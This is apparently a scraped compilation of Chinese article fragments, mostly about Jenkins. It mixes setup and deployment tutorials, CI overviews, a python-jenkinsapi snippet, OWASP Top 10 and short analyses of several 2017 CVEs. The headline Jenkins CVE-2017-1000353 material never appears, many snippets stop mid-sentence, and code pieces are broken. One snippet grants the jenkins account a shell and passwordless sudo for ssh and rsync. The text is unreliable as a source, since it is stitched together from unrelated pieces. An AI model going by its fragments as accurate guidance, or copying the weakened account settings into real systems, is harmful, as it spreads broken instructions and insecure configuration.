Jenkins远程代码执行漏洞配合dnslog检测漏洞—【CVE-2017-1000353】
Jenkins自动化部署,包含通过Publish Over SSH 远程脚本部署
Windows7系统下Jenkins+Maven+SVN搭建自动部署环境一、安装Jenkins从https://jenkins.io/content/thank-you-downloading-windows-installer/#stable 下载适用于windows7系统的Jenkins版本。
下载完成是msi格式文件,直接点击安装即可。
二、配置Jenkins1、打开cmd进入Jenkins文件夹(C:\Program Files (x86)\Jenkins>),输入命令“java -jar jenkins.war --ajp13Port=-1 --httpPort=8089”即可开启Jenkins服务,后面的绑定端口号可以自行更改。
2、打开http://localhost:8089/进入Jenkins主页面,如果系统没有Maven则首先需要安装Maven,打开“系统管理”页面,选择“系统设置”,在“Maven”一栏点击“新增Maven”,选择“Install from Apache”,保存本页面,在后面编译的时候系统就会自动下载安装Maven。
如果系统安装过Maven,在本页面Maven配置中添加Maven目录就行。
3、要达到自动部署的目的,需要安装Jenkins的部署插件,从/latest/deploy.hpi下载Deploy Plugin插件。
选择“系统管理”菜单的“管理插件”,点击“高级”,并在上传插件的一栏上传刚才下载的hpi文件自动完成插件的安装。
4、返回主页面,由于是第一次进入所以需要创建项目,点击“创建一个新项目”,选择“构建一个maven项目”,点击“OK”进入项目配置页面,详细配置项很多,大部分使用默认配置就可以,下面就说说需要我们修改的几个地方:(1) 源码管理,选择“Subversion”,在“Repository URL”里输入SVN地址,Jenkins会自动验证地址,并给与提示,点击“enter credential”,在次页面下输入SVN用户名和密码并保存。
jenkins 工作原理
jenkins 工作原理Jenkins是一种自动化工具,用于构建、测试和部署软件项目。
它的工作原理如下:1. 配置管理:Jenkins的工作原理是基于配置管理。
用户可以通过Jenkins的Web界面配置项目的构建和部署过程。
配置包括项目的源代码地址、构建命令、测试命令、部署目标等。
2. 触发器:Jenkins通过不同的触发器来启动项目的构建过程。
触发器可以是时间触发器(定时)、源代码变更触发器(监听代码仓库的变化)或者手动触发器。
3. 构建过程:当触发器触发后,Jenkins将启动项目的构建过程。
首先,Jenkins会从配置中获取项目的源代码,并执行构建命令进行编译、打包等操作。
构建过程中还可以执行其他一些额外的操作,如生成文档、运行静态代码分析等。
4. 测试过程:一旦项目构建完成,Jenkins可以执行预定义的测试命令或脚本,对项目进行自动化测试。
测试结果将被记录下来供后续分析。
5. 部署过程:当项目构建和测试通过后,Jenkins可以根据配置将构建产物自动部署到指定的目标环境中,如测试服务器、生产服务器等。
部署过程可以通过SSH、FTP等协议进行。
6. 结果反馈:Jenkins会将构建、测试和部署过程的结果反馈给用户。
用户可以通过Jenkins的Web界面或者邮件通知来获取构建的状态和结果。
Jenkins还提供了可视化报告和图表,以方便用户查看和分析构建过程中的数据。
总结:Jenkins的工作原理是基于配置管理,通过不同的触发器启动项目的构建过程,执行构建、测试和部署操作,并将结果反馈给用户。
这种自动化工作流程可以帮助团队提高效率、减少错误,并实现持续集成和交付。
使用jenkins进行前端项目自动部署
使⽤jenkins进⾏前端项⽬⾃动部署前⾯的话 后端的nodeJS项⽬可以使⽤pm2进⾏⾃动部署,由于前端项⽬打包后是静态资源,不需要进程守护。
⼀般地,前端项⽬使⽤jenkins来进⾏⾃动部署,包括打包、测试等⼀系列流程。
本⽂将详细介绍jenkins的使⽤安装 Jenkins 是⼀款业界流⾏的开源持续集成⼯具,⼴泛⽤于项⽬开发,具有⾃动化构建、测试和部署等功能。
由于 jenkins是基于java环境运⾏的,所以⾸先需要安装java环境 1、安装依赖包,使得add-apt-repository命令可以进⾏apt-get install software-properties-common 2、通过add-apt-repository加载第三⽅的开源软件源sudo add-apt-repository ppa:webupd8team/java 3、更新软件包列表,并安装jdksudo apt-get updatesudo apt-get install oracle-java8-installer 安装器会提⽰同意 oracle 的服务条款,选择 ok,然后选择yes 即可 4、通过查看java版本,来测试java环境是否安装成功xiaohuochai@iZbp13p7zpoi6363d01pugZ:~$ java -versionjava version "1.8.0_171"Java(TM) SE Runtime Environment (build 1.8.0_171-b11)Java HotSpot(TM) 64-Bit Server VM (build 25.171-b11, mixed mode) 5、接下来,按照官⽹的操作要求,安装jenkinswget -q -O - https://pkg.jenkins.io/debian/.key | sudo apt-key add -sudo sh -c 'echo deb http://pkg.jenkins.io/debian-stable binary/ > /etc/apt/sources.list.d/jenkins.list'sudo apt-get updatesudo apt-get install jenkins 6、安装完成后,jenkins的⽂件⽬录如下所⽰安装⽬录:/var/lib/jenkins⽇志⽬录:/var/log/jenkins/jenkins.log 7、接下来,就可以启动jenkins了service jenkins start 在jenkins启动过程中,可能会遇到如下问题Job for jenkins.service failed 这是因为java环境,没有安装成功,按照上⾯的步骤重新安装java即可 还可能会出现如下警告.UnknownHostException: yonghu: yonghu: 未知的名称或服务 直接修改hosts⽂件(vi /etc/hosts),将原127.0.0.1替换成127.0.0.1 localhost centos-a即可127.0.0.1 localhost yonghu 因为jenkins默认使⽤8080端⼝,如果使⽤阿⾥云,还需要在安全组中开放8080端⼝初始化 启动jenkins服务后,可以在8080端⼝访问到jenkins 然后在服务器的指定⽬录找到密码登录/var/lib/jenkins/secrets/initialAdminPassword 按照默认配置安装插件 等待插件安装完成 创建⼀个管理员账户,完成配置后,就可以登录 Jenkins 了安装插件 下⾯来安装nodejs插件 可以看到,Jenkins提供了丰富的插件供开发者使⽤,找到需要的[NodeJS Plugin],勾选后点击安装即可 3、安装完毕后,选择系统管理->全局⼯具配置,配置node下载及安装git钩⼦ 为了能够与 GitHub 配合,需要进⼊对 GitHub 进⾏⼀些设置 在github中进⼊博客所在的repo,并点击settings。
在自动化测试中使用Jenkins的十个最佳实践
在自动化测试中使用Jenkins的十个最佳实践自动化测试在软件开发过程中扮演着至关重要的角色。
尤其是在当今这个高速发展的互联网时代,互联网企业需要快速发布优秀的软件产品以应对商场竞争。
但是,面对日益严峻的市场压力,开发和测试团队需要尽可能地减少手动干预和测试,这就需要进行自动化测试。
而Jenkins作为一款广泛应用的持续集成和自动化测试工具,它可为开发和测试团队提供帮助,在这篇文章中,我们将讨论在自动化测试中使用Jenkins的十个最佳实践。
一、管理Jenkins Job在使用Jenkins之前,我们需要先创建Jenkins Job,这是自动化测试的基本单位。
如果未正确管理Job,则可能产生诸多问题,如管理混乱,导致不必要的失败或误判等。
因此,我们可以采用以下方法来管理Jenkins Job:1.使用Freestyle Job:如果我们仅需要运行自动化测试,那么可以使用自由风格的Freestyle Job。
这种Job不需要任何代码配置,仅需要设置构建步骤即可。
2.使用Pipeline Job:这是更高级的选项。
它可以让我们在一个单独的文件中定义我们的构建过程,这个定义可以使用脚本语言,如Groovy。
该方法灵活且易于维护,但需要一定的学习和实践。
3.使用参数化配置:使用参数化配置可以让我们在构建过程中加入参数,从而更快地定位问题。
我们可以为不同的应用程序实现不同的构建过程,也可以指定在构建过程中需要运行的脚本。
二、使用Jenkins插件Jenkins具有许多插件,这些插件可以帮助我们更好地进行自动化测试。
例如:1.使用“Email Extension”插件:它可以让我们在构建失败时自动发送邮件通知。
2.使用“JUnit”插件:它可以帮助我们处理单元测试报告。
3.使用“Cobertura”插件:它可以帮助我们跟踪代码覆盖率。
4.使用“Git Plugin”插件:它可以让我们从代码库中拉取最新的代码,从而在进行测试之前更新应用程序。
安全测试中的远程代码执行漏洞检测
安全测试中的远程代码执行漏洞检测在进行安全测试时,远程代码执行漏洞检测是一项非常重要的任务。
远程代码执行漏洞是指攻击者可以通过远程执行恶意代码来获取系统权限并对目标系统进行攻击的漏洞。
本文将介绍远程代码执行漏洞的概念、原理以及常见的检测方法。
一、远程代码执行漏洞概述远程代码执行漏洞是由于程序在处理输入时,未能正确地对外部输入进行过滤或验证,导致攻击者可以通过构造恶意输入,并通过远程执行代码来执行恶意操作。
攻击者可以通过远程执行的代码,获取系统权限、控制目标系统、窃取数据等,造成严重的安全威胁。
二、远程代码执行漏洞的原理远程代码执行漏洞的原理主要基于程序对外部输入的处理不当。
攻击者可以通过构造恶意字符串,绕过程序的输入验证,成功注入恶意代码并远程执行。
这些恶意代码可以是操作系统命令、数据库查询等,攻击者可以通过执行这些恶意代码来获取系统权限、控制目标系统等。
三、常见的远程代码执行漏洞检测方法1. 静态代码分析:通过对源代码进行静态分析,检查是否存在代码执行漏洞。
这种方法可以发现明显的漏洞,但无法检测到动态生成的代码。
2. 动态代码分析:通过运行代码,并监控其执行过程,检测是否有可疑的代码执行行为。
这种方法能够检测到动态生成的代码,但无法保证检测结果的准确性。
3. 模糊测试:通过构造各种各样的恶意输入,对目标系统进行测试,寻找可利用的漏洞。
这种方法需要大量的时间和资源,但是可以发现一些隐蔽的漏洞。
4. 漏洞扫描工具:使用自动化的漏洞扫描工具来检测远程代码执行漏洞。
这些工具会主动发起攻击,测试目标系统的安全性,并给出相应的报告。
四、远程代码执行漏洞的防御方法1. 输入验证:对所有的外部输入进行验证和过滤,确保输入的合法性。
这包括对用户输入、接口输入、数据库查询等的验证。
2. 参数化查询:使用参数化查询来进行数据库操作,避免将用户输入直接拼接到查询语句中,防止 SQL 注入攻击。
3. 最小权限原则:限制程序的权限,避免恶意代码执行后对系统的影响最小化。
CVE-2017-11882漏洞分析总结新手漏洞分析详细教程
CVE-2017-11882漏洞分析总结新⼿漏洞分析详细教程CVE-2017-11882分析总结注:这篇随笔记录了CVE-2017-11882漏洞分析的整个过程,并介绍了相关调试软件的使⽤漏洞信息CVE-2017-11882属于缓冲区溢出类型漏洞,产⽣漏洞原因于EQNEDT32.EXE(微软office⾃带公式编辑器)进程在读⼊包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进⾏校验,导致缓冲区溢出。
通过覆盖函数的返回地址,可执⾏任意代码。
漏洞复现1. 环境配置操作系统:Window 7 专业版(64 位)office软件:office 2003 sp3 完整版poc:注意:office 必须是带有公式编辑功能的,所以不能下载精简版的office。
其次,在安装时必须选择完全安装,防⽌漏掉公式编辑功能。
2. 流程在配置好环境的虚拟机上,打开poc,双机exploit.rtf⽂件,能正常已启动office软件并弹出calc.exe 则成功触发漏洞。
漏洞分析1. 定位漏洞分析漏洞的第⼀步⾃然是定位漏洞。
第⼀步:1. 找到漏洞发⽣在哪个模块,但是第⼀步就遇到了问题。
我⽤processhacker分析进程状态,可以看到WINWOED.EXE 和 calc.exe被创建出来,WINWOED.EXE由explore创建,这个没问题,因为我是双击的⽂件打开的。
calc.exe由 cmd.exe创建,也没问题,说明poc应该是拉起cmd的同时命令⾏传参,打开calc的。
看不到cmd 的⽗进程,这个不合理,⾄少有⼀个进程之类东西负责拉起cmd。
这⾥没显⽰,我感觉有可能是这个⽗进程把⾃⼰隐藏了,或者跑路了。
2. 接着我选择⽤pchunter来检测进程,因为pchunter的检测能⼒较强。
从pchunter中能找到所有进程对应的⽗进程,但是这个关键的cmd的⽗进程id:1872却找不到对应的进程。
python操作jenkinsapi的基础用法
python操作jenkinsapi的基础用法如何使用Python操作jenkinsapiJenkins是一个用于自动化构建和测试软件项目的开源工具。
jenkinsapi 是一个用于与Jenkins进行交互的Python库。
它使我们能够使用Python 脚本执行各种Jenkins操作,例如创建、启动和监视构建,获取构建信息和日志等。
在本文中,我们将逐步介绍如何使用jenkinsapi进行基本的Jenkins操作。
第一步:安装jenkinsapi库在开始之前,我们首先需要安装jenkinsapi库。
可以使用pip来安装它,打开终端并执行以下命令:pip install jenkinsapi第二步:连接到Jenkins服务器在我们开始使用jenkinsapi进行Jenkins操作之前,我们需要连接到Jenkins服务器。
首先,我们需要获取Jenkins的URL和凭据。
以下是连接到Jenkins服务器的示例代码:pythonfrom jenkinsapi.jenkins import Jenkinsjenkins_url = ' # Jenkins的URLusername = 'your_username' # Jenkins的用户名password = 'your_password' # Jenkins的密码jenkins = Jenkins(jenkins_url, username, password)请确保替换上述代码中的`jenkins_url`,`username`和`password`变量为您的Jenkins的URL、用户名和密码。
第三步:获取Jenkins的基本信息在我们连接到Jenkins服务器后,我们可以执行各种操作。
让我们首先获取Jenkins的一些基本信息,例如版本号、节点列表等。
以下是获取Jenkins 的基本信息的示例代码:pythonprint(f"Jenkins Version: {jenkins.version}")print(f"Total Executors: {jenkins.get_num_executors()}")for node_name, node in jenkins.get_nodes().items():print(f"Node Name: {node_name}")上述代码中的`version`和`get_num_executors()`函数分别返回Jenkins 的版本号和可用的执行器数。
OWASPTOP10漏洞详解以及防护方案
OWASPTOP10漏洞详解以及防护⽅案OWASP TOP 10 漏洞详解以及防护⽅案OWASP介绍官⽹:OWASP TOP10 指出了 WEB 应⽤⾯临最⼤风险的 10 类问题,是⽬前 WEB 应⽤安全⽅⾯最权威的项⽬。
OWASP 是⼀个开源的、⾮盈利全球性安全组织,致⼒于应⽤软件的安全研究。
OWASP 的使命是应⽤软件更加安全,使企业和组织能够对应⽤安全风险作出更清晰的决策。
⽬前OWASP 全球拥有 140 个分会近四万名员,共同推动了安全标准、安全测试⼯具、安全指导⼿册等应⽤安全技术的发展。
OWASP TOP 10A1:2017 注⼊A2:2017 失效的⾝份认证A3:2017 敏感数据泄露A4:2017 XML外部实体A5:2017 失效的访问控制A6:2017 安全配置错误A7:2017 跨站请求脚本(XSS)A8:2013 跨站请求伪造(CSRF)A8:2017 不安全的反序列化A9:2017 使⽤含有已知漏洞的组件A10:2017 不⾜的⽇志记录和监控A1 2017注⼊injection注⼊:⽤户的输⼊被当成命令/代码执⾏或者解析了将不受信⽤的数据作为命令或查询的⼀部分发送到解析器时,会产⽣诸如SQL注⼊、NoSQL注⼊、OS注⼊(操作系统命令)和LDAP()注⼊的注⼊缺陷。
攻击者的恶意数据可以诱使解析器在没有适当授权的情况下执⾏⾮预期命令或访问数据。
⽤户的输⼊并⾮固定位置,可能存在于:输⼊框搜索栏提交表单URL链接所有的GET/POST请求的请求头和请求包头留⾔评论⼏乎任何数据源都有可能成为注⼊载体,只要是能被发出的数据位置可被执⾏的代码:SQLLDAPXpath or NoSQL系统命令XML语⾔SMTP包头表达式语句ORM查询语句危害:该代码能做什么即是危害注⼊的分类通常的注⼊有sql注⼊和命令注⼊SQL注⼊攻击动态页⾯有时会通过脚本引擎将⽤户输⼊的参数按照预先设定的规则构造成SQL语句来进⾏数据库操作。
CVE-2017-7269—IIS6.0WebDAV远程代码执行漏洞分析
CVE-2017-7269—IIS6.0WebDAV远程代码执⾏漏洞分析漏洞描述:3⽉27⽇,在Windows 2003 R2上使⽤IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利⽤PoC开始流传,但糟糕的是这产品已经停⽌更新了。
⽹上流传的poc下载链接如下。
结合上⾯的POC,我们对漏洞的成因及利⽤过程进⾏了详细的分析。
在分析过程中,对poc的exploit利⽤技巧感到惊叹,多次使⽤同⼀个漏洞函数触发,⽽同⼀个漏洞同⼀段漏洞利⽤代码却实现不同的⽬的,最终通过ROP⽅式绕过GS的保护,执⾏shellcode。
调试环境:虚拟机中安装Windows Server 2003企业版,安装iss6.0后,设置允许WebDAV扩展。
使⽤的调试器为:windbg:6.7.0005.1远程代码执⾏效果如下:由上图可到,漏洞利⽤成功后可以network services权限执⾏任意代码。
漏洞分析:漏洞函数漏洞位于ScStoragePathFromUrl函数中,通过代码可以看到,在函数尾部调⽤memcpy函数时,对于拷贝的⽬的地址来⾃于函数的参数,⽽函数的参数为上层函数的局部变量,保存在上层函数的栈空间中。
在调⽤memcpy时,没有判断要拷贝的源字符长度,从⽽导致了栈溢出。
通过伪代码更容易看出:漏洞利⽤:在POC中,可以看到发送的header中包含两部分<>标签,这会使上⾯的每个循环体都会运⾏两次,为了下⾯的描述⽅便,我们对这两个header的标签部分分别定义为HEAD_A与HEAD_B。
漏洞利⽤流程:1. 在HrCheckIfHeader函数中,通过使⽤HEAD_A溢出,使⽤HEAD_B被分配到堆空间地址中。
2. 在HrGetLockIdForPath函数中,再次通过使⽤HEAD_A溢出,使HEAD_B所在的堆地址赋值给局部对象的虚表指针,在该对象在调⽤函数时,控制EIP。
3. 最终调⽤IEcb类的对象偏移0x24处的函数指针,控制EIP漏洞利⽤主要在于HrCheckIfHeader函数与函数HrGetLockIdForPath中。
服务器安全漏洞排查及修复方法
服务器安全漏洞排查及修复方法在当今信息化社会,服务器安全漏洞的存在给网络安全带来了严重的威胁。
一旦服务器出现安全漏洞,黑客可能会利用这些漏洞进行攻击,导致数据泄露、服务中断甚至系统崩溃。
因此,及时排查和修复服务器安全漏洞显得尤为重要。
本文将介绍服务器安全漏洞的排查方法以及常见的修复方法,帮助管理员更好地保护服务器安全。
一、服务器安全漏洞的排查方法1. 漏洞扫描工具利用专业的漏洞扫描工具对服务器进行全面扫描,检测系统中存在的安全漏洞。
常用的漏洞扫描工具包括Nessus、OpenVAS、Nexpose等,这些工具能够自动化地检测系统中的漏洞,并生成详细的报告,帮助管理员及时发现问题。
2. 安全补丁管理定期检查服务器所使用的操作系统和软件是否存在已知的安全漏洞,并及时安装相应的安全补丁。
各大厂商会定期发布安全补丁,修复系统中已知的漏洞,管理员应该密切关注厂商的安全公告,确保系统及时更新。
3. 日志监控通过日志监控工具对服务器的日志进行实时监控,及时发现异常行为。
黑客入侵往往会留下痕迹,通过对日志的分析可以及时发现异常活动,帮助管理员快速应对安全威胁。
4. 强化访问控制合理设置服务器的访问权限,避免未授权的用户访问系统。
管理员应该定期审查用户权限,及时删除不必要的账号,避免安全风险。
二、服务器安全漏洞的修复方法1. 及时更新系统和软件安装最新的安全补丁是防范服务器安全漏洞的有效方法。
管理员应该定期检查系统和软件的更新情况,及时安装最新的安全补丁,确保系统处于最新的安全状态。
2. 加强密码策略设置复杂的密码策略可以有效防止密码被破解。
管理员应该要求用户使用包含大小写字母、数字和特殊字符的复杂密码,并定期更换密码,避免密码泄露导致安全漏洞。
3. 配置防火墙配置防火墙可以有效阻止未经授权的访问,保护服务器免受网络攻击。
管理员应该根据实际情况设置防火墙规则,限制网络流量,提高服务器的安全性。
4. 数据加密对服务器中的重要数据进行加密可以有效保护数据的安全性。
jenkins介绍部署及三种构建方式配置
jenkins介绍部署及三种构建⽅式配置1.前⾔1.1.jenkins介绍jenkins是基于java开发的⼀种持续集成⼯具,⽤于监控持续重复的⼯作,功能包括。
1、持续的软件版本发布/测试2、监控外部调⽤执⾏项⽬Jenkins其实很早之前就有了,最近⽕起来的原因是,⼤家都在关注devops,关注如何来做持续集成,持续交付,如何来做CI/CD。
Jenkins作为持续集成的⼯具,他其实只是⼀个平台或者是⼀个⼤的框架,它的⼯作完全就是依靠插件,也就是说你想使⽤什么功能,你就找到什么样的插件。
1.2.jenkins好处1、我在⼯作中部署jenkins的最⼤好处就是每次在开发、测试环境代码,都⽆须运维部署,⽽是相关的开发⼈员,测试⼈员登录jenkins传⼊需要部署的tag即可,整个部署过程⽆须运维参与,解放运维劳动⼒。
2、安卓,IOS⾃动打包:虽然打包和运维关系不⼤,但是运维实现⾃动打包,使得产品同学,运营和测试同学可以每⽇验证产品开发进度以及及时反馈开发功能的⽅向是否正确,对公司贡献还是不⼩的。
1.3.我的jenkins实践由于我们在使⽤jenkins之前,有⾃动化部署的shell脚本和上线流程,使⽤jenkins也就是让开发,测试⼈员可以通过⼀个web界⾯来执⾏脚本,实现部署。
我们公司⼀个产品线有四个环境,开发环境,测试环境,预上线环境,⽣产环境。
除了⽣产环境之外都是通过jenkins来部署代码。
我们在⽣产实践中,jenkins使⽤到了下⾯三种部署⽅式:jenkins触发式构建:⽤于开发环境部署,开发⼈员push代码或者合并代码到gitlab项⽬的master分⽀,jenkins就部署代码到对应服务器。
jenkins参数化构建:⽤于测试环境预上线环境部署,开发push代码或者合并代码到gitlab项⽬的master分⽀之后,并不会部署代码,⽽是需要登录到jenkins的web界⾯,点击构建按钮,传⼊对应的参数(⽐如参数需要构建的tag,需要部署的分⽀)然后才会部署。
tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现
tomcat7.x远程命令执⾏(CVE-2017-12615)漏洞漏洞复现tomcat7.x远程命令执⾏(CVE-2017-12615)漏洞漏洞复现⼀、漏洞前⾔2017年9⽉19⽇,Apache Tomcat官⽅确认并修复了两个⾼危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在⼀定条件下,攻击者可以利⽤这两个漏洞,获取⽤户服务器上 JSP ⽂件的源代码,或是通过精⼼构造的攻击请求,向⽤户服务器上传恶意JSP⽂件,通过上传的 JSP ⽂件,可在⽤户服务器上执⾏任意代码,从⽽导致数据泄露或获取服务器权限,存在⾼安全风险⼆、漏洞名称CVE-2017-12615-远程代码执⾏漏洞三、危害等级:⾼危四、漏洞描述:CVE-2017-12616:信息泄露漏洞当 Tomcat 中使⽤了 VirtualDirContext 时,攻击者将能通过发送精⼼构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext 提供⽀持资源的 JSP 源代码。
CVE-2017-12615:远程代码执⾏漏洞当 Tomcat 运⾏在 Windows 主机上,且启⽤了 HTTP PUT 请求⽅法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精⼼构造的攻击请求向服务器上传包含任意代码的 JSP ⽂件。
之后,JSP ⽂件中的代码将能被服务器执⾏。
通过以上两个漏洞可在⽤户服务器上执⾏任意代码,从⽽导致数据泄露或获取服务器权限,存在⾼安全风险。
五、漏洞利⽤条件和⽅式:CVE-2017-12615漏洞利⽤需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置⽂件内默认配置⽆readonly参数,需要⼿⼯添加,默认配置条件下不受此漏洞影响。
JenkinsHostkeyverificationfailed问题解决
JenkinsHostkeyverificationfailed问题解决这篇⽂章主要介绍了Jenkins Host key verification failed问题解决,⽂中通过⽰例代码介绍的⾮常详细,对⼤家的学习或者⼯作具有⼀定的参考学习价值,需要的朋友可以参考下报错原因a.jenkins普通⽤户⽆法执⾏某些系统命令;b.没有为jenkins⽤户⽣成过密钥对,也没有将他的公钥拷到⽬标服务器上.解决办法:在安装jenkins后,系统⽣成了jenkins这个普通⽤户,但是在/etc/passwd中,他的shell是/bin/false,所以他不能登录系统,也没有家⽬录;⾸先我们修改他的登录权限,将/bin/false改为/bin/bash,切换到jenkins⽤户,su - jenkins,他的终端显⽰为-bash-4.2$jenkins:x:997:995:Jenkins Automation Server:/var/lib/jenkins:/bin/bash⽣成jenkins⽤户密钥对[root@bogon .ssh]# su - jenkins-bash-4.2$ ssh-keygen -t rsa回车-bash-4.2$ ssh-copy-id -i /var/lib/jenkins/.ssh/id_rsa.pub root@192.168.75.12使⽤sudo提升普通⽤户权限⽤viduso去修改⽂件,命令和命令之间要⽤逗号,最后⽤visudo -c检查语法是否出错.visudoroot ALL=(ALL) ALL # 原有的jenkins ALL=(ALL) NOPASSWD:/usr/bin/ssh,/usr/bin/rsync # 新增的最后就能够在jenkins中使⽤command命令执⾏了以上就是本⽂的全部内容,希望对⼤家的学习有所帮助,也希望⼤家多多⽀持。
自动化部署中的安全漏洞扫描和修复方法(七)
自动化部署中的安全漏洞扫描和修复方法一、引言在不断发展的信息时代,软件和系统的部署和维护是一个重要的环节。
自动化部署作为一种高效的部署方式,在提高开发效率和减少人工操作方面具有重要意义。
然而,在自动化部署的过程中,安全漏洞的存在可能导致系统面临严重的风险。
因此,安全漏洞的扫描和修复是自动化部署中不可忽视的问题。
二、安全漏洞扫描方法1. 主动扫描主动扫描是一种常见的安全漏洞扫描方法。
通过使用自动化工具,系统可以主动对代码进行扫描,以发现潜在的安全威胁。
主动扫描可以包括对代码的静态分析和动态分析。
静态分析是通过分析源代码或二进制代码的方式进行扫描,以查找可能存在的漏洞。
而动态分析则是通过模拟实际运行环境,对代码进行动态测试,以发现在运行时可能出现的漏洞。
2. 被动扫描被动扫描是一种基于实时监测的安全漏洞扫描方法。
在自动化部署的过程中,系统可以通过监测网络流量和应用程序的行为,识别潜在的安全威胁和漏洞。
被动扫描可以通过使用网络安全设备,如防火墙和入侵检测系统,或者使用专门的安全监测软件进行实现。
三、安全漏洞修复方法1. 及时更新一个常见的安全漏洞修复方法是及时更新软件和系统。
开发者应定期关注官方的安全公告,并及时更新软件到最新的版本。
同时,开发者也应该保证其自动化部署系统支持自动更新功能,以确保部署的系统始终处于最新的安全状态。
2. 代码审查与修复通过定期进行代码审查,开发人员可以发现和修复代码中的潜在安全漏洞。
代码审查可以包括静态代码分析、代码走查和代码演练等方法。
通过优化代码结构和修复潜在漏洞,可以提高系统的安全性。
3. 强化访问控制访问控制是保证系统安全的重要措施之一。
开发者应该加强对系统的访问控制,包括对用户和权限的管理。
通过实施严格的身份验证和授权机制,可以减少系统被非法访问的风险。
4. 加密与防护加密是一种广泛应用于数据安全领域的方法。
在自动化部署中,开发者可以通过对敏感数据的加密,提升系统的安全性。
Jenkins面试题
Jenkins面试题1.Jenkins是什么?答案:Jenkins是一个流行的持续集成(CI)工具,用于自动化构建、测试和部署软件项目。
它是一个开源的、可扩展的平台,支持多种语言和平台,并提供丰富的插件来扩展其功能。
2.Jenkins的主要特点是什么?答案:Jenkins的主要特点包括:易于安装和配置、可扩展性强、可视化界面、支持多种构建工具、能够集成各种源代码管理工具和版本控制系统等。
3.Jenkins的工作原理是什么?答案:Jenkins的工作原理是,当有新的代码提交到源代码管理系统中时,Jenkins会监控这个变化并触发相应的构建流程。
它会自动拉取代码、执行构建、运行测试、生成报告等,并将结果反馈到可视化界面上。
4.Jenkins如何处理并发任务?答案:Jenkins使用多线程技术来处理并发任务。
每个任务都会被封装成一个执行器(Executor),并分配给一个单独的线程来执行。
Jenkins可以同时执行多个任务,并且可以根据需要动态地调整线程数量。
5.如何配置Jenkins来监控源代码管理系统?答案:要配置Jenkins来监控源代码管理系统,你需要使用源代码管理插件来连接你的源代码管理系统。
在Jenkins中配置源代码管理插件后,你可以指定要监控的源代码库和触发条件,例如当有新的代码提交时触发构建。
6.Jenkins支持哪些常见的构建工具?答案:Jenkins支持多种常见的构建工具,包括Maven、Gradle、Ant、Shell 脚本等。
你可以在项目配置中选择相应的构建工具,并配置相应的构建命令和参数。
7.如何配置Jenkins来发送通知?答案:你可以在项目配置中添加邮件通知或Webhook通知来发送通知。
邮件通知可以发送给指定的邮箱地址,Webhook通知则可以通过HTTP请求发送给其他系统或服务。
8.Jenkins如何管理构建历史?答案:Jenkins可以保存每个项目的构建历史记录,包括构建时间、结果、日志等信息。
jenkins pipeline agent原理
jenkins pipeline agent原理Jenkins Pipeline是一个工具,用于定义和管理持续集成和交付(CI/CD)流水线。
它允许使用代码来定义,构建,测试和部署应用程序。
在Jenkins Pipeline中,代理(agent)是一个重要的概念,用于指定构建和执行流水线的执行环境。
在本文中,我们将详细介绍Jenkins Pipeline代理的原理及其工作方式。
代理可以是任何运行Jenkins客户端的机器,如主服务器、单独的构建节点或云虚拟机。
它们可以位于本地网络中,远程访问或通过云服务提供商进行托管。
使用代理有以下好处:1.与主服务器隔离:代理机器可以独立执行流水线的构建和测试任务,减轻了主服务器的负担。
这意味着主服务器可以处理更多的流水线,而不会受到性能方面的影响。
2.灵活的执行环境:代理机器可以根据需要配置和定制,以满足特定流水线的需求。
例如,可以选择具有不同操作系统,软件工具和硬件配置的代理机器。
3.分布式构建:通过在多个代理机器上并行执行流水线的任务,可以显著减少整个构建过程的时间。
这对于大型项目和频繁的构建非常重要。
Jenkins Pipeline代理的原理是通过在流水线的Stage块中定义agent指令来实现的。
例如,通过以下代码定义一个代理:```pipeline {agent { label 'agent1' }stages {stage('Build') {steps {//构建任务}}//其他阶段}}```在这个例子中,`agent { label 'agent1' }`指令告诉Jenkins 使用具有标签“agent1”的代理机器来执行流水线。
标签可以是任何自定义的字符串,用于识别和配置代理机器。
当Jenkins服务器运行这个流水线时,它会寻找具有匹配标签的可用代理机器。
一旦找到匹配的代理,流水线的任务将被发送到该代理机器上执行。
CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
CVE-2017-8464远程命令执⾏漏洞(震⽹漏洞)复现前⾔2017年6⽉13⽇,微软官⽅发布编号为CVE-2017-8464的漏洞公告,官⽅介绍Windows系统在解析快捷⽅式时存在远程执⾏任意代码的⾼危漏洞,⿊客可以通过U盘、⽹络共享等途径触发漏洞,完全控制⽤户系统,安全风险⾼危漏洞描述攻击者可以向⽤户呈现包含恶意的.LNK⽂件和相关联的恶意⼆进制⽂件的可移动驱动器或远程共享。
当⽤户在Windows资源管理器或解析.LNK⽂件的任何其他应⽤程序中打开此驱动器(或远程共享)时,恶意⼆进制程序将在⽬标系统上执⾏攻击者选择的代码,成功利⽤此漏洞的攻击者可以获得与本地⽤户相同的⽤户权限。
注释:.LNK是windows系统内应⽤程序快捷⽅式⽂件的⽂件类型后缀名。
漏洞利⽤条件和⽅式:远程利⽤漏洞影响范围:Microsoft Windows 10 Version 1607 for 32-bit SystemsMicrosoft Windows 10 Version 1607 for x64-based SystemsMicrosoft Windows 10 for 32-bit SystemsMicrosoft Windows 10 for x64-based SystemsMicrosoft Windows 10 version 1511 for 32-bit SystemsMicrosoft Windows 10 version 1511 for x64-based SystemsMicrosoft Windows 10 version 1703 for 32-bit SystemsMicrosoft Windows 10 version 1703 for x64-based SystemsMicrosoft Windows 7 for 32-bit Systems SP1Microsoft Windows 7 for x64-based Systems SP1Microsoft Windows 8.1 for 32-bit SystemsMicrosoft Windows 8.1 for x64-based SystemsMicrosoft Windows RT 8.1服务器系统Microsoft Windows Server 2008 R2 for Itanium-based Systems SP1Microsoft Windows Server 2008 R2 for x64-based Systems SP1Microsoft Windows Server 2008 for 32-bit Systems SP2Microsoft Windows Server 2008 for Itanium-based Systems SP2Microsoft Windows Server 2008 for x64-based Systems SP2Microsoft Windows Server 2012Microsoft Windows Server 2012 R2Microsoft Windows Server 2016漏洞复现:利⽤原理:创建恶意快捷⽅式,包含恶意执⾏脚本,点击恶意快捷⽅式,导致本机中病毒。
